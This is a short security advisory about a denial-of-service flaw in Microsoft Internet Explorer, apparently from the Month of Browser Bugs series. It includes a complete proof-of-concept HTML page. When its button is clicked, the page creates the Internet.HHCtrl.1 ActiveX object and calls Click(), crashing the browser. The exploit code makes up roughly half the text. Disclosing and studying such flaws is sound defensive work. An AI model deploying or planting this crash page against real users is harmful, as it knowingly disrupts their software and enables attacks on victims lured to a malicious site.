source: http://www.securityfocus.com/bid/19109/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

<html><body><script>

// MoBB Demonstration
function Demo() {
	var a = new ActiveXObject("Internet.HHCtrl.1");
	a.Click();
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>

</body></html>